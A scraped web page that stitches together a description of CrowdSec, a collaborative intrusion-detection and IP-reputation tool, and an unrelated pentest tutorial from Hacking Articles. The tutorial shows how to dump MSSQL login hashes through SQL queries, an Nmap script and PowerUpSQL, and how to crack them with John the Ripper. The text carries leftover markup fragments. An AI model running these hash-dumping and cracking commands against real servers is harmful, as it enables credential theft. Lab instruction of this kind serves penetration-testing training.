CrowdSec is a free, modern & collaborative behavior detection engine, coupled with a global IP reputation network. It stacks on fail2ban's philosophy but is IPV6 compatible and 60x faster (Go vs Python), uses Grok patterns to parse logs and YAML scenario to identify behaviors. CrowdSec is engineered for modern Cloud / Containers (https://www.kitploit.com/search/label/Containers) / VM based infrastructures (by decoupling detection and remediation). Once detected you can remedy threats with various bouncers (firewall block, nginx http 403, Captchas, etc.) while the aggressive IP can be sent to CrowdSec for curation before being shared among all users to further improve everyone's security. See FAQ (https://doc.crowdsec.net/docs/faq) or read bellow for more.

Its user friendly (https://www.kitploit.com/search/label/User%20Friendly) design and assistance offers a low technical barrier of entry and nevertheless a high security gain. Processing is done in 4 steps:
Once an unwanted behavior is detected, deal with it through a bouncer (https://hub.crowdsec.net/browse/#bouncers). The aggressive IP, scenario triggered and timestamp are sent for curation, to avoid poisoning (https://www.kitploit.com/search/label/Poisoning) & false positives. (This can be disabled). If verified, this IP is then redistributed to all CrowdSec users running the same scenario.
Outnumbering hackers (https://www.kitploit.com/search/label/Hackers) all together
By sharing the threat they faced, all users are protecting each-others (hence the name Crowd-Security). Crowdsec is designed for modern infrastructures, with its "Detect Here, Remedy There" approach, letting you analyse logs coming from several sources in one place and block threats at various levels (applicative, system, infrastructural) of your stack. CrowdSec ships by default with scenarios (brute force, port scan, web scan, etc.) adapted for most context, but you can easily extend it by picking more of them from the HUB (https://hub.crowdsec.net/). It is also easy to adapt an existing one or create one yourself.
What it is not CrowdSec is not a SIEM, storing your logs (neither locally nor remotely). Your data are analyzed locally and forgotten. Signals sent to the curation platform are limited to the very strict minimum: IP, Scenario, Timestamp. They are only used to allow the system to spot new rogue IPs, rule out false positives or poisoning attempts.
Install it ! Crowdsec is available for various platforms : Use our debian repositories (https://doc.crowdsec.net/docs/getting_started/install_crowdsec) or the official debian packages (https://packages.debian.org/search?keywords=crowdsec&searchon=names&suite=stable§ion=all) An image (https://hub.docker.com/r/crowdsecurity/crowdsec) is available for docker Prebuilt release packages (https://github.com/crowdsecurity/crowdsec/releases) are also available (suitable for amd64) You can as well build it from source (https://doc.crowdsec.net/docs/user_guides/building) Or look directly at installation documentation (https://doc.crowdsec.net/docs/getting_started/install_crowdsec) for other methods and platforms.

Hacking Articles|Raj Chandel's BlogMSSQL for Pentester: Hashing
In this article, we will learn about multiple ways to get hashes of MSSQL users. Every version of MSSQL has different hashes. We have performed our practical on SQL Server 2016 version. Once we find the hashes, we will use JohnTheRipper to crack them.

Introduction to Hashing in SQL server<o:p
A hash produced in SQL server looks somewhat like the following:<o:p
CLI<o:p
To get hashes of all the users, use the following query:<o:p
SELECT * FROM sys.sql_logins<o:p
<o:p
To the hashes of a particular user, use the following query:<o:p
select name,password_hash from sys.sql_logins where name='sa'<o:p
<o:p
As you can see, both the above queries have given us the desired result. <o:p
Nmap<o:p
We can also retrieve the hashes remotely using Nmap. And the command to do so is the following:<o:p
nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=Password@1 192.168.1.146<o:p
<o:p
And as the result of the above command, we have our hash. <o:p
PowerUpSQL<o:p
To the hashes remotely, PowerUpSQL provides a simple command which is as follows:<o:p
Import-Module .\PowerUpSQL.ps1<o:p
Get-SQLServerPasswordHash -username sa -Password Password@1 -instance WIN-P83OS778EQK\SQLEXPRESS -Verbose<o:p
<o:p
These are the multiple ways to retrieve the hashes for the MSSQL server, both remotely and locally. <o:p
JohnTheRipper<o:p
Now that we have acquired the hashes, all we have to do is crack them. For this, we will use the almighty password cracker tool, i.e., JohnTheRipper. And to de-hash the password hash, use the following command:<o:p
john --format=mssql12 --wordlist=pass hash<o:p
<o:p
And the result shows us that the password is Password@1 which is accurate. SO, this way, one can dump and then crack the MSSQL hashes.<o:p
